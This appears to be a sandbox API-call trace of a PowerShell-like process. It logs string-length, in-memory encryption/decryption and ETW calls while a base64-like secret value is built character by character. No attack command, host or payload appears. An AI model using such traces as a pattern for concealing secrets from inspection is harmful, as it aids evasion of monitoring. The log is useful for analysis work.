(param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x48f5\x2e0c\xa570\x4b40\xa3c6\x43ea\x3fa5\x5f4") returned 0x30 [0133.469] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.469] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJVGxPk=䦙ㄩ뢁움") returned 0x30 [0133.469] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.469] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.469] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.469] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.469] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.470] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.470] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.470] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.470] SysStringLen (param_1="") returned 0x8 [0133.470] SysStringLen (param_1="Y") returned 0x8 [0133.470] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.470] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.470] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.470] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.470] SysStringLen (param_1="YW") returned 0x8 [0133.470] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.470] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.470] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.470] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="YWM") returned 0x8 [0133.471] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.471] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.471] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="YWM1") returned 0x8 [0133.471] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.471] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.471] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="YWM1O") returned 0x8 [0133.471] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.471] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.471] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.471] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.471] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.472] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.472] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.472] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.472] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.472] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.472] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.472] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.472] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.472] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.472] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.472] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.472] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.472] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.472] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.472] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.472] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.472] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.473] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.473] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.473] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.473] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.473] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.473] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.473] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.473] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.474] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.474] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.474] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.474] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.474] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.474] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.475] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.475] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.475] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.475] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.475] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.475] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.475] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.475] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.476] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.476] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.476] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.476] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.476] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.476] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.476] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.476] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.477] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.477] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.477] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.477] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.477] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.477] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.477] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.477] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.479] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.479] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.479] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.480] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.480] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.480] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.480] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.480] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.480] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.480] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.480] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.481] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.481] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.481] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.481] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.481] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.481] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.481] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.481] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.482] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.482] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 